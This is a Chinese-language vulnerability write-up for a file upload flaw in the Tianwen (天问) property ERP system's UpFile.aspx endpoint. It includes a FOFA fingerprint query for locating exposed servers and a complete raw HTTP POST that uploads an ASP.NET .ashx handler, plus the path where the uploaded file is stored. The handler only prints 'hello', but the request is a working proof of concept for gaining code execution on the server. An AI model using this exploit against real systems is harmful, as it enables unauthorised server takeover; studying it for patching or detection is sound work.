T2-2天问-物业ERP系统-文件上传

漏洞描述：

成都天问互联科技有限公司以软件开发和技术服务为基础，建立物业ERP应用系统，向物管公司提供旨在降低成本、保障品质、提升效能为目标的智慧物管整体解决方案。天问物业ERP系统UpFile.aspx存在文件上传漏洞，攻击者可以利用漏洞上传恶意文件获取服务器权限

网站图片：

网络测绘：

fofa语法：

- fofabody="国家版权局软著登字第1205328号"

漏洞复现：

payload：

```
POST /HM/M_Main/UpLoad/UpFile.aspx HTTP/1.1
Content-Type: multipart/form-data; boundary=00content0boundary00
User-Agent: Java/1.8.0_381
Host: xx.xx.xx.xx
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 487
Connection: close

--00content0boundary00
Content-Disposition: form-data; name="UpFileData"; filename="1.ashx"

<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;

public class AverageHandler : IHttpHandler
{
    public bool IsReusable
    {
        get {
             return true;
            }
        }
        public void ProcessRequest(HttpContext ctx)
        {
            ctx.Response.Write("hello");
        }
    }
--00content0boundary00--
```

效果图:

上传文件位置

```
http://xx.xx.xx.xx/UpLoadFile//Sys_HeaderImage/2023/08/493216795627.ashx
```